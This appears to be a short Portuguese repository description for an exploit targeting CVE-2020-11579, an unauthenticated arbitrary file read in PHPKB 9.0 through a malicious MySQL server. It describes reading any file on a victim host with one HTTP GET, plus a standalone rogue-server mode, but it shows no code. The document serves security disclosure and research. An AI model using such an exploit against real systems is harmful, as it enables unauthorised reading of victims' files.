shieldersec/cve-2020-11579Código de exploit para CVE-2020-11579, uma divulgação arbitrária de arquivos através do cliente MySQL no PHPKB
O PHPKB 9.0 Enterprise Edition (banco de dados MySQL) é afetado por uma divulgação arbitrária de arquivos não autenticada através de um Servidor MySQL malicioso.
Um atacante remoto pode ler qualquer arquivo em um host vítima remoto com privilégios de servidor web (ex.: www-data), através de uma única requisição HTTP GET.

O script também pode ser executado no modo apenas servidor e fornece um Servidor MySQL independente para uso em vulnerabilidades semelhantes.
